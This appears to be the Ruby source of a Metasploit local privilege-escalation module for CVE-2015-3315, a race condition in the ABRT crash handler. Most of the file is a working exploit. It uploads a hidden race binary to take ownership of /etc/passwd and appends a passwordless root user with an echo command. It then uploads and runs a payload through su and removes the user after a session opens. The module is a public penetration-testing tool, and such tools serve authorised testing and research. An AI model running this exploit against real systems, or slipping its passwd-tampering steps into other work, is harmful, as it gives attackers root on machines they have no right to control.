Path: blob/master/modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'ABRT raceabrt Privilege Escalation',17'Description' => %q{18This module attempts to gain root privileges on Linux systems with19a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured20as the crash handler.2122A race condition allows local users to change ownership of arbitrary23files (CVE-2015-3315). This module uses a symlink attack on24`/var/tmp/abrt/*/maps` to change the ownership of `/etc/passwd`,25then adds a new user with UID=0 GID=0 to gain root privileges.26Winning the race could take a few minutes.2728This module has been tested successfully on:2930abrt 2.1.11-12.el7 on RHEL 7.0 x86_64;31abrt 2.1.5-1.fc19 on Fedora Desktop 19 x86_64;32abrt 2.2.1-1.fc19 on Fedora Desktop 19 x86_64;33abrt 2.2.2-2.fc20 on Fedora Desktop 20 x86_64;34abrt 2.3.0-3.fc21 on Fedora Desktop 21 x86_64.35},36'License' => MSF_LICENSE,37'Author' => [38'Tavis Ormandy', # Discovery and C exploit39'bcoles' # Metasploit40],41'DisclosureDate' => '2015-04-14',42'Platform' => [ 'linux' ],43'Arch' => [ ARCH_X86, ARCH_X64 ],44'SessionTypes' => [ 'shell', 'meterpreter' ],45'Targets' => [[ 'Auto', {} ]],46'References' => [47[ 'CVE', '2015-3315' ],48[ 'EDB', '36747' ],49[ 'BID', '75117' ],50[ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ],51[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],52[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ],53[ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ],54[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ],55[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ],56[ 'URL', 'https://access.redhat.com/articles/1415483' ],57[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],58[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],59[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ]60],61'Compat' => {62'Meterpreter' => {63'Commands' => %w[64stdapi_fs_stat65stdapi_sys_process_execute66]67}68},69'Notes' => {70'Reliability' => UNKNOWN_RELIABILITY,71'Stability' => UNKNOWN_STABILITY,72'SideEffects' => UNKNOWN_SIDE_EFFECTS73}74)75)76register_options(77[78OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),79OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ])80]81)82register_advanced_options [83OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])84]8586self.needs_cleanup = true87end8889def base_dir90datastore['WritableDir']91end9293def timeout94datastore['TIMEOUT']95end9697def check98if immutable?('/etc/passwd')99vprint_error 'File /etc/passwd is immutable'100return CheckCode::Safe101end102103kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'104unless kernel_core_pattern.include? 'abrt-hook-ccpp'105vprint_error 'System is NOT configured to use ABRT for crash reporting'106return CheckCode::Safe107end108vprint_good 'System is configured to use ABRT for crash reporting'109110if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true'111vprint_error "Directory '/var/spool/abrt' exists. System has been patched."112return CheckCode::Safe113end114vprint_good 'System does not appear to have been patched'115116unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true'117vprint_error "Directory '/var/tmp/abrt' does NOT exist"118return CheckCode::Safe119end120vprint_good "Directory '/var/tmp/abrt' exists"121122if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'123vprint_error 'abrt-ccp service NOT running'124return CheckCode::Safe125end126vprint_good 'abrt-ccpp service is running'127128pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s129abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\s+/)[1]130unless abrt_version.blank?131vprint_status "System is using ABRT package version #{abrt_version}"132end133134CheckCode::Detected135end136137def upload_and_chmodx(path, data)138print_status "Writing '#{path}' (#{data.size} bytes) ..."139rm_f path140write_file path, data141cmd_exec "chmod +x '#{path}'"142register_file_for_cleanup path143end144145def exploit146if check != CheckCode::Detected147fail_with Failure::NotVulnerable, 'Target is not vulnerable'148end149150@chown_file = '/etc/passwd'151152if datastore['USERNAME'].blank?153@username = rand_text_alpha rand(7..10)154else155@username = datastore['USERNAME']156end157158# Upload Tavis Ormandy's raceabrt exploit:159# - https://www.exploit-db.com/exploits/36747/160# Cross-compiled with:161# - i486-linux-musl-cc -static raceabrt.c162path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt'163fd = ::File.open path, 'rb'164executable_data = fd.read fd.stat.size165fd.close166167executable_name = ".#{rand_text_alphanumeric rand(5..10)}"168executable_path = "#{base_dir}/#{executable_name}"169upload_and_chmodx executable_path, executable_data170171# Change working directory to base_dir172cmd_exec "cd '#{base_dir}'"173174# Launch raceabrt executable175print_status "Trying to own '#{@chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ..."176output = cmd_exec "#{executable_path} #{@chown_file}", nil, timeout177output.each_line { |line| vprint_status line.chomp }178179# Check if we own /etc/passwd180unless cmd_exec("[ -w #{@chown_file} ] && echo true").include? 'true'181fail_with Failure::Unknown, "Failed to own '#{@chown_file}'"182end183184print_good "Success! '#{@chown_file}' is writable"185186# Add new user with no password187print_status "Adding #{@username} user to #{@chown_file} ..."188cmd_exec "echo '#{@username}::0:0::/root:/bin/bash' >> #{@chown_file}"189190# Upload payload executable191payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"192upload_and_chmodx payload_path, generate_payload_exe193194# Execute payload executable195vprint_status 'Executing payload...'196cmd_exec "/bin/bash -c \"echo #{payload_path} | su - #{@username}&\""197end198199def on_new_session(session)200if session.type.to_s.eql? 'meterpreter'201session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'202end203204# Reinstate /etc/passwd root ownership and remove new user205root_owns_passwd = false206new_user_removed = false207208if session.type.to_s.eql? 'meterpreter'209# Reinstate /etc/passwd root ownership210session.sys.process.execute '/bin/sh', "-c \"chown root:root #{@chown_file}\""211212# Remove new user213session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\""214215# Wait for clean up216Rex.sleep 5217218# Check root ownership219passwd_stat = session.fs.file.stat(@chown_file).stathash220if passwd_stat['st_uid'] == 0 && passwd_stat['st_gid'] == 0221root_owns_passwd = true222end223224# Check for new user in /etc/passwd225passwd_contents = session.fs.file.open(@chown_file).read.to_s226unless passwd_contents.include? "#{@username}:"227new_user_removed = true228end229elsif session.type.to_s.eql? 'shell'230# Reinstate /etc/passwd root ownership231session.shell_command_token "chown root:root #{@chown_file}"232233# Remove new user234session.shell_command_token "sed -i 's/^#{@username}:.*$//g' #{@chown_file}"235236# Check root ownership237passwd_owner = session.shell_command_token "ls -l #{@chown_file}"238if passwd_owner.to_s.include? 'root'239root_owns_passwd = true240end241242# Check for new user in /etc/passwd243passwd_user = session.shell_command_token "grep '#{@username}:' #{@chown_file}"244unless passwd_user.to_s.include? "#{@username}:"245new_user_removed = true246end247end248249unless root_owns_passwd250print_warning "Could not reinstate root ownership of #{@chown_file}"251end252253unless new_user_removed254print_warning "Could not remove user '#{@username}' from #{@chown_file}"255end256rescue => e257print_error "Error during cleanup: #{e.message}"258ensure259super260end261end262263264